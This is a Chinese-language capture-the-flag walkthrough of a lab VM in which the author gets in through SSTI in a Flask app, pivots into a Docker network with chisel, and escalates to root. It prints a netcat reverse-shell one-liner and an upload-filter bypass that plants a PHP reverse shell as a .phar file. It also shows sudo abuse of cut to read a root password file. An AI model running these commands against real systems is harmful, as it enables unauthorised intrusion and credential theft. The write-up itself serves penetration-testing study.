HiddenDockerimage

信息搜集

主机发现

1
2
3
4
5
6
7
8
9
┌──(root㉿Eecho)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.43.4
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
......
192.168.43.3 08:00:27:2c:ea:9e PCS Systemtechnik GmbH
......
3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.927 seconds (132.85 hosts/sec). 3 responded

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
┌──(root㉿Eecho)-[~]
└─# rustscan -a 192.168.43.3 -- -A
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Port scanning: Making networking exciting since... whenever.

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 192.168.43.3:22
Open 192.168.43.3:5000
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.43.3
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-21 12:08 +0800
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:08
Completed NSE at 12:08, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:08
Completed NSE at 12:08, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:08
Completed NSE at 12:08, 0.00s elapsed
Initiating ARP Ping Scan at 12:08
Scanning 192.168.43.3 [1 port]
Completed ARP Ping Scan at 12:08, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:08
Completed Parallel DNS resolution of 1 host. at 12:08, 0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 12:08
Scanning 192.168.43.3 [2 ports]
Discovered open port 22/tcp on 192.168.43.3
Discovered open port 5000/tcp on 192.168.43.3
Completed SYN Stealth Scan at 12:08, 0.02s elapsed (2 total ports)
Initiating Service scan at 12:08
Scanning 2 services on 192.168.43.3
Completed Service scan at 12:08, 6.02s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against 192.168.43.3
NSE: Script scanning 192.168.43.3.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:08
Completed NSE at 12:08, 0.16s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:08
Completed NSE at 12:08, 0.01s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:08
Completed NSE at 12:08, 0.00s elapsed
Nmap scan report for 192.168.43.3
Host is up, received arp-response (0.00055s latency).
Scanned at 2026-07-21 12:08:32 CST for 7s

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 50:80:8f:01:a0:d4:76:f4:08:95:df:a1:45:39:71:93 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNPzvTq8znMke3a5QTvbLdh3+YfDuyKGjHtl/3IKeOzjquKx4HiEzVhjbTMdLkElHjIv35T0+dKZTqyaFojrOmg=
| 256 e8:af:26:05:75:f8:3e:d0:bf:d7:42:a1:42:48:fc:e6 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA4GUGH/7j0jN11O2srx0Ij1LUeRvMCT36tpAXM9di+u
5000/tcp open http syn-ack ttl 64 Werkzeug httpd 2.2.2 (Python 3.11.2)
|_http-server-header: Werkzeug/2.2.2 Python/3.11.2
|_http-title: Flask Lab
| http-methods:
|_ Supported Methods: HEAD OPTIONS GET
MAC Address: 08:00:27:2C:EA:9E (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4)
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=7/21%OT=22%CT=%CU=36889%PV=Y%DS=1%DC=D%G=N%M=080027%TM
OS:=6A5EF0C7%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=105%TI=Z%CI=Z%II=I%
OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5
OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=
OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%
OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0
OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S
OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R
OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N
OS:%T=40%CD=S)

Uptime guess: 41.061 days (since Wed Jun 10 10:40:13 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.55 ms 192.168.43.3

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:08
Completed NSE at 12:08, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:08
Completed NSE at 12:08, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:08
Completed NSE at 12:08, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.29 seconds
Raw packets sent: 25 (1.894KB) | Rcvd: 17 (1.366KB)
  • 22 ssh
  • 5000 http

SSTI

image

主页的Full Name存在ssti漏洞

image

这里我们使用fenjign进行攻击(https://github.com/Marven11/Fenjing)

1
python -m fenjing webui -h 0.0.0.0

image

反弹shell

1
busybox nc 192.168.43.4 8888 -e /bin/sh

image

提权

pepinodemar -> root

在用户桌面文件夹下有个docker.log提示我们docker已经运行

1
2
pepinodemar@hiddendocker:~$ cat Desktop/docker.log
dockerlabs is running

查看docker网段,并上传fscan扫描内网

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pepinodemar@hiddendocker:~$ ip add
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host noprefixroute
valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:2c:ea:9e brd ff:ff:ff:ff:ff:ff
inet 192.168.43.3/24 brd 192.168.43.255 scope global dynamic enp0s3
valid_lft 20294sec preferred_lft 20294sec
inet6 2408:8444:761:d94c:a00:27ff:fe2c:ea9e/64 scope global dynamic mngtmpaddr
valid_lft 3431sec preferred_lft 3431sec
inet6 fe80::a00:27ff:fe2c:ea9e/64 scope link
valid_lft forever preferred_lft forever
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:d0:77:8a:60 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
inet6 fe80::42:d0ff:fe77:8a60/64 scope link
valid_lft forever preferred_lft forever
5: veth449d569@if4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default
link/ether 76:73:53:dd:8e:c0 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet6 fe80::7473:53ff:fedd:8ec0/64 scope link
valid_lft forever preferred_lft forever

172.17.0.2是存活的且开放了80端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pepinodemar@hiddendocker:/tmp$ ./fscan_2.2.0_linux_x64 -h 172.17.0.0/16
┌──────────────────────────────────────────────┐
│ ___ _ │
│ / _ \ ___ ___ _ __ __ _ ___| | __ │
│ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │
│ / /_\\_____\__ \ (__| | | (_| | (__| < │
│ \____/ |___/\___|_| \__,_|\___|_|\_\ │
└──────────────────────────────────────────────┘
Fscan 2.2.0 (bf036fd 2026-07-10T05:57:56Z)

[*] 服务插件: ldap, ms17010, nfs, neo4j, memcached ... 等36个
[*] 切换到ping命令模式
[*] 172.17.0.1 存活 (协议: ICMP)
[*] 172.17.0.2 存活 (协议: ICMP)
[*] ICMP响应率过低(0.0%),启用TCP补充探测(4798个主机)
[*] 172.17.0.0/16 网段存活: 2
[*] 172.17.0.0/24 网段存活: 2
[*] 参数自适应: Timeout=1000ms, ModuleThread=30, Retry=1, ICMPRate=0.50, PocNum=30
[*] 172.17.0.1:22 ssh [Product:OpenSSH ||Version:9.2p1 Debian 2+deb12u2] Banner:(SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u2)
[*] http://172.17.0.1:5000 http [Product:Open Lighting Architecture daemon] Banner:(HTTP/1.1 200 OK Server: Werkzeug/2.2.2 Python/3.11.2 Date: Tue, 21 Jul 2026 04:3...)
[*] http://172.17.0.2 http [Product:Open Lighting Architecture daemon] Banner:(HTTP/1.1 200 OK Date: Tue, 21 Jul 2026 04:33:58 GMT Server: Apache/2.4.58 (Ubunt...)
端口扫描中(900线程) ● 100.0% [==============================] (266/266) 76/s TCP:15/19469
[完成] 扫描完成: 266/266 (耗时: 3.5s)
[*] 扫描完成,发现 3 个开放端口
[*] 切换到ping命令模式
[*] POC加载完成: 总共387个,成功387个,失败0个
[+] http://172.17.0.1:5000 code:200 len:2699 title:Flask Lab server:Werkzeug/2.2.2 Python/3.11.2 [ipeakcms werkzeug jquery/3.5.1]
[+] http://172.17.0.2 code:200 len:8235 title:Dockerlabs server:Apache/2.4.58 (Ubuntu) [apache-http apache/2.4.58]

内网穿透

使用chisel创建socks代理,将内网的流量代理到本地进行访问(https://github.com/jpillora/chisel/releases/tag/v1.11.8)

kali

1
./chisel server --port 9999 --reverse > atk_s_9999_rev.log 2>&1 &

靶机

1
./chisel client 192.168.43.4:9999 R:0.0.0.0:1080:socks > v1_c_atk_1080_socks.log 2>&1 &

配置proxifier代理

image

image

目录扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(root㉿Eecho)-[/opt/tools/proxy]
└─# gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,back,cgi,jpg,json,md -b 401,403,404,502 --proxy socks5://127.0.0.1:1080 ===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://172.17.0.2/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 401,403,404,502
[+] Proxy: socks5://127.0.0.1:1080
[+] User Agent: gobuster/3.8.2
[+] Extensions: back,cgi,jpg,json,md,php,txt,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.php (Status: 200) [Size: 8235]
uploads (Status: 301) [Size: 310] [--> http://172.17.0.2/uploads/]
upload.php (Status: 200) [Size: 0]
machine.php (Status: 200) [Size: 1361]

访问machine.php是一个文件上传的功能,这里上传了一个php的webshell

image

phar文件上传

提示我们只能上传zip,我们抓包爆破一下看是否支持其他后缀

image

还支持phar后缀,那么我们上传一个反弹shell的文件后缀为phar(https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php)

image

访问uploads文件夹点击我们上传的反弹shell文件进行反弹shell

image

在/opt目录下面有个nota.txt文件告诉我们root密码在/root/clave.txt这个文件里面

1
2
3
www-data@43e87713bf12:/opt$ cat nota.txt
Protege la clave de root, se encuentra en su directorio /root/clave.txt, menos mal que nadie tiene permisos para acceder a ella.
www-data@43e87713bf12:/opt$

且可以利用cut进行读取

1
2
3
4
5
6
7
www-data@43e87713bf12:/opt$ sudo -l
Matching Defaults entries for www-data on 43e87713bf12:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User www-data may run the following commands on 43e87713bf12:
(root) NOPASSWD: /usr/bin/cut
(root) NOPASSWD: /usr/bin/grep

https://gtfobins.org/gtfobins/cut/

1
2
3
www-data@43e87713bf12:/opt$ sudo -u root /usr/bin/cut -d '' -f1 /root/clave.txt
dockerlabsmolamogollon123
www-data@43e87713bf12:/opt$

容器www -> 宿主机root

返回之前获取的宿主机用户pepinodemar的shell进行横向移动

1
2
3
4
5
pepinodemar@hiddendocker:/tmp$ su root
Contraseña:
root@hiddendocker:/tmp# id
uid=0(root) gid=0(root) grupos=0(root)
root@hiddendocker:/tmp#